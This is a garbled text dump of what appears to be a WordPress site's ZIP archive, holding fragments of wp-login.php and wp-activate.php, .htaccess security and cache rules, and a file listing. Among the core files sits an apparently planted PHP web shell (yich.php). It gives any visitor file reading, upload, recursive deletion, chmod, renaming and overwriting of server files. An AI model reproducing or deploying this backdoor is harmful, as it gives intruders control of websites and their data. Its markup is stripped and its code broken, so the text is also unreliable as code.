HashPassword( wp_unslash( $_POST['post_password'] ) ), $expire, COOKIEPATH, COOKIE_DOMAIN, $secure ); wp_safe_redirect( wp_get_referer() ); exit; case 'logout': check_admin_referer( 'log-out' ); $user = wp_get_current_user(); wp_logout(); if ( ! empty( $_REQUEST['redirect_to'] ) ) { $redirect_to = $_REQUEST['redirect_to']; $requested_redirect_to = $redirect_to; } else { $redirect_to = add_query_arg( array( 'loggedout' => 'true', 'wp_lang' => get_user_locale( $user ), ), wp_login_url() ); $requested_redirect_to = ''; } /** * Filters the log out redirect URL. * * @since 4.2.0 * * @param string $redirect_to The redirect destination URL. * @param string $requested_redirect_to The requested redirect destination URL passed as a parameter. * @param WP_User $user The WP_User object for the user that's logging out. */ $redirect_to = apply_filters( 'logout_redirect', $redirect_to, $requested_redirect_to, $user ); wp_safe_redirect( $redirect_to ); exit; case 'lostpassword': case 'retrievepassword': if ( $http_post ) { $errors = retrieve_password(); if ( ! is_wp_error( $errors ) ) { $redirect_to = ! empty( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : 'wp-login.php?checkemail=confirm'; wp_safe_redirect( $redirect_to ); exit; } } if ( isset( $_GET['error'] ) ) { if ( 'invalidkey' === $_GET['error'] ) { $errors->add( 'invalidkey', __( 'Error: Your password reset link appears to be invalid. Please request a new link below.' ) ); } elseif ( 'expiredkey' === $_GET['error'] ) { $errors->add( 'expiredkey', __( 'Error: Your password reset link has expired. Please request a new link below.' ) ); } } $lostpassword_redirect = ! empty( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : ''; /** * Filters the URL redirected to after submitting the lostpassword/retrievepassword form. * * @since 3.0.0 * * @param string $lostpassword_redirect The redirect destination URL. */ $redirect_to = apply_filters( 'lostpassword_redirect', $lostpassword_redirect ); /** * Fires before the lost password form. * * @since 1.5.1 * @since 5.1.0 Added the `$errors` parameter. * * @param WP_Error $errors A `WP_Error` object containing any errors generated by using invalid * credentials. Note that the error object may not contain any errors. */ do_action( 'lost_password', $errors ); login_header( __( 'Lost Password' ), '

' . __( 'Please enter your username or email address. You will receive an email message with instructions on how to reset your password.' ) . '

', $errors ); $user_login = ''; if ( isset( $_POST['user_login'] ) && is_string( $_POST['user_login'] ) ) { $user_login = wp_unslash( $_POST['user_login'] ); } ?>

get_error_code() === 'expired_key' ) { wp_redirect( site_url( 'wp-login.php?action=lostpassword&error=expiredkey' ) ); } else { wp_redirect( site_url( 'wp-login.php?action=lostpassword&error=invalidkey' ) ); } exit; } $errors = new WP_Error(); // Check if password is one or all empty spaces. if ( ! empty( $_POST['pass1'] ) ) { $_POST['pass1'] = trim( $_POST['pass1'] ); if ( empty( $_POST['pass1'] ) ) { $errors->add( 'password_reset_empty_space', __( 'The password cannot be a space or all spaces.' ) ); } } // Check if password fields do not match. if ( ! empty( $_POST['pass1'] ) && trim( $_POST['pass2'] ) !== $_POST['pass1'] ) { $errors->add( 'password_reset_mismatch', __( 'Error: The passwords do not match.' ) ); } /** * Fires before the password reset procedure is validated. * * @since 3.5.0 * * @param WP_Error $errors WP Error object. * @param WP_User|WP_Error $user WP_User object if the login and reset key match. WP_Error object otherwise. */ do_action( 'validate_password_reset', $errors, $user ); if ( ( ! $errors->has_errors() ) && isset( $_POST['pass1'] ) && ! empty( $_POST['pass1'] ) ) { reset_password( $user, $_POST['pass1'] ); setcookie( $rp_cookie, ' ', time() - YEAR_IN_SECONDS, $rp_path, COOKIE_DOMAIN, is_ssl(), true ); login_header( __( 'Password Reset' ), '

' . __( 'Your password has been reset.' ) . ' ' . __( 'Log in' ) . '

' ); login_footer(); exit; } wp_enqueue_script( 'utils' ); wp_enqueue_script( 'user-profile' ); login_header( __( 'Reset Password' ), '

' . __( 'Enter your new password below or generate one.' ) . '

', $errors ); ?>


' . __( 'Register For This Site' ) . '

', $errors ); ?>


add( 'confirm', sprintf( /* translators: %s: Link to the login page. */ __( 'Check your email for the confirmation link, then visit the login page.' ), wp_login_url() ), 'message' ); } elseif ( 'registered' === $_GET['checkemail'] ) { $errors->add( 'registered', sprintf( /* translators: %s: Link to the login page. */ __( 'Registration complete. Please check your email, then visit the login page.' ), wp_login_url() ), 'message' ); } /** This action is documented in wp-login.php */ $errors = apply_filters( 'wp_login_errors', $errors, $redirect_to ); login_header( __( 'Check your email' ), '', $errors ); login_footer(); break; case 'confirmaction': if ( ! isset( $_GET['request_id'] ) ) { wp_die( __( 'Missing request ID.' ) ); } if ( ! isset( $_GET['confirm_key'] ) ) { wp_die( __( 'Missing confirm key.' ) ); } $request_id = (int) $_GET['request_id']; $key = sanitize_text_field( wp_unslash( $_GET['confirm_key'] ) ); $result = wp_validate_user_request_key( $request_id, $key ); if ( is_wp_error( $result ) ) { wp_die( $result ); } /** * Fires an action hook when the account action has been confirmed by the user. * * Using this you can assume the user has agreed to perform the action by * clicking on the link in the confirmation email. * * After firing this action hook the page will redirect to wp-login a callback * redirects or exits first. * * @since 4.9.6 * * @param int $request_id Request ID. */ do_action( 'user_request_action_confirmed', $request_id ); $message = _wp_privacy_account_request_confirmed_message( $request_id ); login_header( __( 'User action confirmed.' ), $message ); login_footer(); exit; case 'login': default: $secure_cookie = ''; $customize_login = isset( $_REQUEST['customize-login'] ); if ( $customize_login ) { wp_enqueue_script( 'customize-base' ); } // If the user wants SSL but the session is not SSL, force a secure cookie. if ( ! empty( $_POST['log'] ) && ! force_ssl_admin() ) { $user_name = sanitize_user( wp_unslash( $_POST['log'] ) ); $user = get_user_by( 'login', $user_name ); if ( ! $user && strpos( $user_name, '@' ) ) { $user = get_user_by( 'email', $user_name ); } if ( $user ) { if ( get_user_option( 'use_ssl', $user->ID ) ) { $secure_cookie = true; force_ssl_admin( true ); } } } if ( isset( $_REQUEST['redirect_to'] ) ) { $redirect_to = $_REQUEST['redirect_to']; // Redirect to HTTPS if user wants SSL. if ( $secure_cookie && false !== strpos( $redirect_to, 'wp-admin' ) ) { $redirect_to = preg_replace( '|^http://|', 'https://', $redirect_to ); } } else { $redirect_to = admin_url(); } $reauth = empty( $_REQUEST['reauth'] ) ? false : true; $user = wp_signon( array(), $secure_cookie ); if ( empty( $_COOKIE[ LOGGED_IN_COOKIE ] ) ) { if ( headers_sent() ) { $user = new WP_Error( 'test_cookie', sprintf( /* translators: 1: Browser cookie documentation URL, 2: Support forums URL. */ __( 'Error: Cookies are blocked due to unexpected output. For help, please see this documentation or try the support forums.' ), __( 'https://wordpress.org/support/article/cookies/' ), __( 'https://wordpress.org/support/forums/' ) ) ); } elseif ( isset( $_POST['testcookie'] ) && empty( $_COOKIE[ TEST_COOKIE ] ) ) { // If cookies are disabled, we can't log in even with a valid user and password. $user = new WP_Error( 'test_cookie', sprintf( /* translators: %s: Browser cookie documentation URL. */ __( 'Error: Cookies are blocked or not supported by your browser. You must enable cookies to use WordPress.' ), __( 'https://wordpress.org/support/article/cookies/#enable-cookies-in-your-browser' ) ) ); } } $requested_redirect_to = isset( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : ''; /** * Filters the login redirect URL. * * @since 3.0.0 * * @param string $redirect_to The redirect destination URL. * @param string $requested_redirect_to The requested redirect destination URL passed as a parameter. * @param WP_User|WP_Error $user WP_User object if login was successful, WP_Error object otherwise. */ $redirect_to = apply_filters( 'login_redirect', $redirect_to, $requested_redirect_to, $user ); if ( ! is_wp_error( $user ) && ! $reauth ) { if ( $interim_login ) { $message = '

' . __( 'You have logged in successfully.' ) . '

'; $interim_login = 'success'; login_header( '', $message ); ?> exists() && $user->has_cap( 'manage_options' ) ) { $admin_email_lifespan = (int) get_option( 'admin_email_lifespan' ); /* * If `0` (or anything "falsey" as it is cast to int) is returned, the user will not be redirected * to the admin email confirmation screen. */ /** This filter is documented in wp-login.php */ $admin_email_check_interval = (int) apply_filters( 'admin_email_check_interval', 6 * MONTH_IN_SECONDS ); if ( $admin_email_check_interval > 0 && time() > $admin_email_lifespan ) { $redirect_to = add_query_arg( array( 'action' => 'confirm_admin_email', 'wp_lang' => get_user_locale( $user ), ), wp_login_url( $redirect_to ) ); } } if ( ( empty( $redirect_to ) || 'wp-admin/' === $redirect_to || admin_url() === $redirect_to ) ) { // If the user doesn't belong to a blog, send them to user admin. If the user can't edit posts, send them to their profile. if ( is_multisite() && ! get_active_blog_for_user( $user->ID ) && ! is_super_admin( $user->ID ) ) { $redirect_to = user_admin_url(); } elseif ( is_multisite() && ! $user->has_cap( 'read' ) ) { $redirect_to = get_dashboard_url( $user->ID ); } elseif ( ! $user->has_cap( 'edit_posts' ) ) { $redirect_to = $user->has_cap( 'read' ) ? admin_url( 'profile.php' ) : home_url(); } wp_redirect( $redirect_to ); exit; } wp_safe_redirect( $redirect_to ); exit; } $errors = $user; // Clear errors if loggedout is set. if ( ! empty( $_GET['loggedout'] ) || $reauth ) { $errors = new WP_Error(); } if ( empty( $_POST ) && $errors->get_error_codes() === array( 'empty_username', 'empty_password' ) ) { $errors = new WP_Error( '', '' ); } if ( $interim_login ) { if ( ! $errors->has_errors() ) { $errors->add( 'expired', __( 'Your session has expired. Please log in to continue where you left off.' ), 'message' ); } } else { // Some parts of this script use the main login form to display a message. if ( isset( $_GET['loggedout'] ) && $_GET['loggedout'] ) { $errors->add( 'loggedout', __( 'You are now logged out.' ), 'message' ); } elseif ( isset( $_GET['registration'] ) && 'disabled' === $_GET['registration'] ) { $errors->add( 'registerdisabled', __( 'Error: User registration is currently not allowed.' ) ); } elseif ( strpos( $redirect_to, 'about.php?updated' ) ) { $errors->add( 'updated', __( 'You have successfully updated WordPress! Please log back in to see what’s new.' ), 'message' ); } elseif ( WP_Recovery_Mode_Link_Service::LOGIN_ACTION_ENTERED === $action ) { $errors->add( 'enter_recovery_mode', __( 'Recovery Mode Initialized. Please log in to continue.' ), 'message' ); } elseif ( isset( $_GET['redirect_to'] ) && false !== strpos( $_GET['redirect_to'], 'wp-admin/authorize-application.php' ) ) { $query_component = wp_parse_url( $_GET['redirect_to'], PHP_URL_QUERY ); $query = array(); if ( $query_component ) { parse_str( $query_component, $query ); } if ( ! empty( $query['app_name'] ) ) { /* translators: 1: Website name, 2: Application name. */ $message = sprintf( 'Please log in to %1$s to authorize %2$s to connect to your account.', get_bloginfo( 'name', 'display' ), '' . esc_html( $query['app_name'] ) . '' ); } else { /* translators: %s: Website name. */ $message = sprintf( 'Please log in to %s to proceed with authorization.', get_bloginfo( 'name', 'display' ) ); } $errors->add( 'authorize_application', $message, 'message' ); } } /** * Filters the login page errors. * * @since 3.6.0 * * @param WP_Error $errors WP Error object. * @param string $redirect_to Redirect destination URL. */ $errors = apply_filters( 'wp_login_errors', $errors, $redirect_to ); // Clear any stale cookies. if ( $reauth ) { wp_clear_auth_cookie(); } login_header( __( 'Log In' ), '', $errors ); if ( isset( $_POST['log'] ) ) { $user_login = ( 'incorrect_password' === $errors->get_error_code() || 'empty_password' === $errors->get_error_code() ) ? esc_attr( wp_unslash( $_POST['log'] ) ) : ''; } $rememberme = ! empty( $_POST['rememberme'] ); if ( $errors->has_errors() ) { $aria_describedby_error = ' aria-describedby="login_error"'; } else { $aria_describedby_error = ''; } wp_enqueue_script( 'user-profile' ); ?>

class="input" value="" size="20" autocapitalize="off" autocomplete="username" />

class="input password-input" value="" size="20" autocomplete="current-password" />

/>

get_error_code() === 'invalid_username' ) { $login_script .= 'd.value = "";'; } } $login_script .= 'd.focus(); d.select();'; $login_script .= '} catch( er ) {}'; $login_script .= '}, 200);'; $login_script .= "}\n"; // End of wp_attempt_focus(). /** * Filters whether to print the call to `wp_attempt_focus()` on the login screen. * * @since 4.8.0 * * @param bool $print Whether to print the function call. Default true. */ if ( apply_filters( 'enable_login_autofocus', true ) && ! $error ) { $login_script .= "wp_attempt_focus();\n"; } // Run `wpOnload()` if defined. $login_script .= "if ( typeof wpOnload === 'function' ) { wpOnload() }"; ?> HEX
HEX
NONE"; } else { $disf = "".$disfunc.""; } function author() { echo ''; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "writable"; } else { return "readonly"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "writable"; } else { return "readonly"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } ?>
Server:
System:
User:
PHP:
Disabled:
Upload Files
"; echo "
File: ".$_GET['fileloc']."
"; echo "
".htmlspecialchars(file_get_contents($_GET['fileloc']))."
"; echo "
"; author(); } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete directory"); } else { green("Directory deleted"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete file"); } else { green("File deleted"); } } } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { echo "
"; echo "
chmod ".$_POST['path']."
"; echo '
'; if (isset($_POST['chm0d'])) { $cm = @chmod($_POST['path'], $_POST['perm']); if ($cm == true) { green("Permission changed"); } else { red("Permission change failed"); } } echo "
"; } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Renamed successfully"); } else { red("Rename failed"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
"; echo "
mv ".$_POST['path']."
"; echo '
'; echo "
"; } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { if (isset($_POST['gasedit'])) { $edit = @file_put_contents($_POST['path'], $_POST['src']); if ($edit == true) { green("File saved"); } else { red("Save failed"); } } echo "
"; echo "
nano ".$_POST['path']."
"; echo '
'; echo "
"; } ?>
"; } foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).'M'; } else { $size = $size.'K'; } echo ""; } ?>
Name Size Permissions Actions
📁 ".$dir." -- ".statusnya($lokasi."/".$dir)."
📄 $file ".$size." ".statusnya("$lokasi/$file")."
PK@0]wp-activate.phpnu[get_error_code() ) ) { status_header( 404 ); } elseif ( is_wp_error( $result ) ) { $error_code = $result->get_error_code(); if ( ! in_array( $error_code, $valid_error_codes, true ) ) { status_header( 400 ); } } nocache_headers(); if ( is_object( $wp_object_cache ) ) { $wp_object_cache->cache_enabled = false; } // Fix for page title. $wp_query->is_404 = false; /** * Fires before the Site Activation page is loaded. * * @since 3.0.0 */ do_action( 'activate_header' ); /** * Adds an action hook specific to this page. * * Fires on {@see 'wp_head'}. * * @since MU (3.0.0) */ function do_activate_header() { /** * Fires before the Site Activation page is loaded. * * Fires on the {@see 'wp_head'} action. * * @since 3.0.0 */ do_action( 'activate_wp_head' ); } add_action( 'wp_head', 'do_activate_header' ); /** * Loads styles specific to this page. * * @since MU (3.0.0) */ function wpmu_activate_stylesheet() { ?>


get_error_code(), $valid_error_codes, true ) ) { $signup = $result->get_error_data(); ?>

'; if ( '' === $signup->domain . $signup->path ) { printf( /* translators: 1: Login URL, 2: Username, 3: User email address, 4: Lost password URL. */ __( 'Your account has been activated. You may now log in to the site using your chosen username of “%2$s”. Please check your email inbox at %3$s for your password and login instructions. If you do not receive an email, please check your junk or spam folder. If you still do not receive an email within an hour, you can reset your password.' ), network_site_url( $blog_details->path . 'wp-login.php', 'login' ), $signup->user_login, $signup->user_email, wp_lostpassword_url() ); } else { printf( /* translators: 1: Site URL, 2: Username, 3: User email address, 4: Lost password URL. */ __( 'Your site at %1$s is active. You may now log in to your site using your chosen username of “%2$s”. Please check your email inbox at %3$s for your password and login instructions. If you do not receive an email, please check your junk or spam folder. If you still do not receive an email within an hour, you can reset your password.' ), sprintf( '%1$s%2$s', $signup->domain, $blog_details->path ), $signup->user_login, $signup->user_email, wp_lostpassword_url() ); } echo '

'; } elseif ( null === $result || is_wp_error( $result ) ) { ?>

get_error_message(); ?>

user_login; ?>

View your site or Log in' ), $url, esc_url( $login_url ) ); ?>

Log in or go back to the homepage.' ), network_site_url( $blog_details->path . 'wp-login.php', 'login' ), network_home_url( $blog_details->path ) ); ?>

Require all denied Order deny,allow Deny from all Require all denied Order deny,allow Deny from all Require all denied Order deny,allow Deny from all #AIOWPS_BLOCK_WP_FILE_ACCESS_END #AIOWPS_BASIC_HTACCESS_RULES_START Require all denied Order deny,allow Deny from all ServerSignature Off LimitRequestBody 10485760 Require all denied Order deny,allow Deny from all #AIOWPS_BASIC_HTACCESS_RULES_END #AIOWPS_PINGBACK_HTACCESS_RULES_START Require all denied Order deny,allow Deny from all #AIOWPS_PINGBACK_HTACCESS_RULES_END #AIOWPS_DEBUG_LOG_BLOCK_HTACCESS_RULES_START Require all denied Order deny,allow Deny from all #AIOWPS_DEBUG_LOG_BLOCK_HTACCESS_RULES_END #AIOWPS_BLOCK_SPAMBOTS_START RewriteEngine On RewriteCond %{REQUEST_METHOD} POST RewriteCond %{REQUEST_URI} ^(.*)?wp-comments-post\.php(.*)$ RewriteCond %{HTTP_REFERER} !^http(s)?://skg\.se [NC,OR] RewriteCond %{HTTP_USER_AGENT} ^$ RewriteRule .* http://127.0.0.1 [L] #AIOWPS_BLOCK_SPAMBOTS_END # END All In One WP Security # BEGIN WP Rocket v3.12.0.5 # Use UTF-8 encoding for anything served text/plain or text/html AddDefaultCharset UTF-8 # Force UTF-8 for a number of file formats AddCharset UTF-8 .atom .css .js .json .rss .vtt .xml # FileETag None is not enough for every server. Header unset ETag # Since we’re sending far-future expires, we don’t need ETags for static content. # developer.yahoo.com/performance/rules.html#etags FileETag None Header set X-Powered-By "WP Rocket/3.12.0.5" Header unset Pragma Header append Cache-Control "public" Header unset Last-Modified Header unset Pragma Header append Cache-Control "public" AddType image/avif avif AddType image/avif-sequence avifs # Expires headers (for better cache control) ExpiresActive on ExpiresDefault "access plus 1 month" # cache.appcache needs re-requests in FF 3.6 (thanks Remy ~Introducing HTML5) ExpiresByType text/cache-manifest "access plus 0 seconds" # Your document html ExpiresByType text/html "access plus 0 seconds" # Data ExpiresByType text/xml "access plus 0 seconds" ExpiresByType application/xml "access plus 0 seconds" ExpiresByType application/json "access plus 0 seconds" # Feed ExpiresByType application/rss+xml "access plus 1 hour" ExpiresByType application/atom+xml "access plus 1 hour" # Favicon (cannot be renamed) ExpiresByType image/x-icon "access plus 1 week" # Media: images, video, audio ExpiresByType image/gif "access plus 4 months" ExpiresByType image/png "access plus 4 months" ExpiresByType image/jpeg "access plus 4 months" ExpiresByType image/webp "access plus 4 months" ExpiresByType video/ogg "access plus 4 months" ExpiresByType audio/ogg "access plus 4 months" ExpiresByType video/mp4 "access plus 4 months" ExpiresByType video/webm "access plus 4 months" ExpiresByType image/avif "access plus 4 months" ExpiresByType image/avif-sequence "access plus 4 months" # HTC files (css3pie) ExpiresByType text/x-component "access plus 1 month" # Webfonts ExpiresByType font/ttf "access plus 4 months" ExpiresByType font/otf "access plus 4 months" ExpiresByType font/woff "access plus 4 months" ExpiresByType font/woff2 "access plus 4 months" ExpiresByType image/svg+xml "access plus 4 months" ExpiresByType application/vnd.ms-fontobject "access plus 1 month" # CSS and JavaScript ExpiresByType text/css "access plus 1 year" ExpiresByType application/javascript "access plus 1 year" # Gzip compression # Active compression SetOutputFilter DEFLATE # Force deflate for mangled headers SetEnvIfNoCase ^(Accept-EncodXng|X-cept-Encoding|X{15}|~{15}|-{15})$ ^((gzip|deflate)\s*,?\s*)+|[X~-]{4,13}$ HAVE_Accept-Encoding RequestHeader append Accept-Encoding "gzip,deflate" env=HAVE_Accept-Encoding # Don’t compress images and other uncompressible content SetEnvIfNoCase Request_URI \ \.(?:gif|jpe?g|png|rar|zip|exe|flv|mov|wma|mp3|avi|swf|mp?g|mp4|webm|webp|pdf)$ no-gzip dont-vary # Compress all output labeled with one of the following MIME-types AddOutputFilterByType DEFLATE application/atom+xml \ application/javascript \ application/json \ application/rss+xml \ application/vnd.ms-fontobject \ application/x-font-ttf \ application/xhtml+xml \ application/xml \ font/opentype \ image/svg+xml \ image/x-icon \ text/css \ text/html \ text/plain \ text/x-component \ text/xml Header append Vary: Accept-Encoding # END WP Rocket # Disable Mod PageSpeed with parameter off RewriteEngine On RewriteCond %{SERVER_PORT} 80 RewriteRule ^(.*)$ https://skg.se/$1 [R,L] # BEGIN WordPress RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] # add a trailing slash to /wp-admin RewriteRule ^([_0-9a-zA-Z-]+/)?wp-admin$ $1wp-admin/ [R=301,L] RewriteCond %{REQUEST_FILENAME} -f [OR] RewriteCond %{REQUEST_FILENAME} -d RewriteRule ^ - [L] RewriteRule ^([_0-9a-zA-Z-]+/)?(wp-(content|admin|includes).*) $2 [L] RewriteRule ^([_0-9a-zA-Z-]+/)?(.*\.php)$ $2 [L] RewriteRule . index.php [L] # END WordPress PK@0]'j__wp-blog-header.phpnu[wp-links-opml.phpnu[PK@0]i^!! =wp-mail.phpnu[PK@0]m 1wp-load.phpnu[PK@0]UMgg Awp-cron.phpnu[PK@0]2[Qadmin/.htaccessnu[PK@0]5'kU Qreadme.htmlnu[PK@0]5nwp-admin/options-head.phpnu[PK@0] pwp-admin/post-new.phpnu[PK@0]e B B{wp-admin/install.phpnu[PK@0]πږwp-admin/admin-functions.phpnu[PK@0]Ecel33wp-admin/moderation.phpnu[PK@0]h_UUswp-admin/upgrade-functions.phpnu[PK@0]wp-admin/site-health-info.phpnu[PK@0]=Rcwp-admin/install-helper.phpnu[PK@0]Kx6N6Ndwp-admin/options-permalink.phpnu[PK@0]L)wp-admin/ms-users.phpnu[PK@0]0+wp-admin/revision.phpnu[PK@0]E**@wp-admin/export.phpnu[PK@0]Kt? q q:lwp-admin/edit-form-advanced.phpnu[PK@0]Vc;c;wp-admin/theme-editor.phpnu[PK@0]UφUwp-admin/ms-options.phpnu[PK@0]S{wp-admin/index.phpnu[PK@0]bBB9wp-admin/ms-admin.phpnu[PK@0](("K:wp-admin/authorize-application.phpnu[PK@0]Ê11bwp-admin/update.phpnu[PK@0]JG66wp-admin/edit-comments.phpnu[PK@0]B/#/#wp-admin/admin-header.phpnu[PK@0]=Tr'r'`wp-admin/post.phpnu[PK@0]}-  wp-admin/admin-footer.phpnu[PK@0]&Dl c"wp-admin/media-upload.phpnu[PK@0]XXJ&&0wp-admin/options-reading.phpnu[PK@0] Wwp-admin/load-styles.phpnu[PK@0]M!u'u'awp-admin/options-privacy.phpnu[PK@0]\ؒywp-admin/themes.phpnu[PK@0]YY N?wp-admin/link.phpnu[PK@0] 4$מ::XJwp-admin/options-general.phpnu[PK@0]8\XXBwp-admin/widgets.phpnu[PK@0]މwp-admin/link-add.phpnu[PK@0]ß wp-admin/import.phpnu[PK@0]t?2J ժwp-config.phpnu[PK@0]Z,\\wp-settings.phpnu[PK@0]{err wp-login.phpnu[PK@0]hh;yich.phpnu[PK@0]==wp-activate.phpnu[PK@0];ss yY.user.ininu[PK@0]ut`a`a %Zerror_lognu[PK@0]h] .htaccessnu[PK@0]'j__wp-blog-header.phpnu[PK99